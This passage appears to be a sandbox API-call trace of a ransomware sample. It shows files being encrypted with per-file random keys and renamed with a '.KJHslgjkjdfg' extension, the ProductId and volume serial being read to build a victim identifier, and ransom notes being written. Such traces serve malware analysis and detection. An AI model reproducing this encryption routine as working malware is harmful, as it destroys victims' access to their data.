(in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7cf0, dwBufLen=0x7cf0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x7cf0) returned 1 [0147.981] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.981] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x7cf0, lpOverlapped=0x0) returned 1 [0147.981] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.982] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x7dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.982] SetEndOfFile (hFile=0x118) returned 1 [0147.984] GetProcessHeap () returned 0x2a0000 [0147.984] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.984] GetProcessHeap () returned 0x2a0000 [0147.984] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.984] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.987] CloseHandle (hObject=0x118) returned 1 [0147.987] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.987] GetProcessHeap () returned 0x2a0000 [0147.988] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.988] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.988] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.988] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.988] GetProcessHeap () returned 0x2a0000 [0147.988] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.988] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.988] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.988] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.988] GetProcessHeap () returned 0x2a0000 [0147.988] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.988] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.988] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.988] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.988] GetProcessHeap () returned 0x2a0000 [0147.988] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.988] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.988] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.988] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.988] GetProcessHeap () returned 0x2a0000 [0147.989] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.989] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.989] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.989] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.989] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.989] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.989] RegCloseKey (hKey=0x118) returned 0x0 [0147.989] GetProcessHeap () returned 0x2a0000 [0147.989] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.989] GetProcessHeap () returned 0x2a0000 [0147.989] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.989] GetProcessHeap () returned 0x2a0000 [0147.989] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.989] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.989] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.989] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.989] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.989] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.990] GetProcessHeap () returned 0x2a0000 [0147.990] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.990] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.990] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.990] GetProcessHeap () returned 0x2a0000 [0147.990] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.990] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\readme-warning.txt") returned 81 [0147.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.990] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.994] CloseHandle (hObject=0x118) returned 1 [0147.994] GetProcessHeap () returned 0x2a0000 [0147.994] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.994] GetProcessHeap () returned 0x2a0000 [0147.994] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.994] GetProcessHeap () returned 0x2a0000 [0147.994] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.994] GetProcessHeap () returned 0x2a0000 [0147.994] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.994] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.995] GetProcessHeap () returned 0x2a0000 [0147.995] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.995] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0147.995] GetProcessHeap () returned 0x2a0000 [0147.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ef2d8 [0147.995] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.995] GetProcessHeap () returned 0x2a0000 [0147.995] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.995] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.995] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.995] GetProcessHeap () returned 0x2a0000 [0147.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x292) returned 0x2f32d0 [0147.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.996] GetProcessHeap () returned 0x2a0000 [0147.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.996] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.996] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.996] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0148.008] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.009] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.009] GetProcessHeap () returned 0x2a0000 [0148.009] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0148.009] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0148.009] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.009] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0148.009] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0148.009] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0148.010] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0148.010] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0148.010] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0148.010] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.010] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.010] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.010] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1004, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1004, lpOverlapped=0x0) returned 1 [0148.025] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1010, dwBufLen=0x1010 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1010) returned 1 [0148.025] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.025] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1010, lpOverlapped=0x0) returned 1 [0148.025] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.025] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x10e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.025] SetEndOfFile (hFile=0x118) returned 1 [0148.028] GetProcessHeap () returned 0x2a0000 [0148.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0148.028] GetProcessHeap () returned 0x2a0000 [0148.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0148.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.kjhslgjkjdfg")) returned 1 [0148.032] CloseHandle (hObject=0x118) returned 1 [0148.032] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0148.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0148.033] GetProcessHeap () returned 0x2a0000 [0148.033] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0148.033] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0148.033] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0148.033] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0148.035] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.035] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.035] GetProcessHeap () returned 0x2a0000 [0148.035] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0148.035] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0148.035] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.035] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0148.036] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0148.036] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0148.036] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0148.036] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0148.036] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0148.036] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.036] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.036] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.036] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11e37, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x11e37, lpOverlapped=0x0) returned 1 [0148.044] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x11e40, dwBufLen=0x11e40 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x11e40) returned 1 [0148.045] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.045] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11e40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x11e40, lpOverlapped=0x0) returned 1 [0148.046] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0148.046] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x11f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.046] SetEndOfFile (hFile=0x118) returned 1 [0148.049] GetProcessHeap () returned 0x2a0000 [0148.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0148.049] GetProcessHeap () returned 0x2a0000 [0148.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0148.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.kjhslgjkjdfg")) returned 1 [0148.081] CloseHandle (hObject=0x118) returned 1 [0148.081] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0148.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0148.106] GetProcessHeap () returned 0x2a0000 [0148.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0148.106] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0148.106] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0148.106] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0148.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0148.108] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0148.108] GetProcessHeap () returned 0x2a0000 [0148.108] RtlAllocateHeap 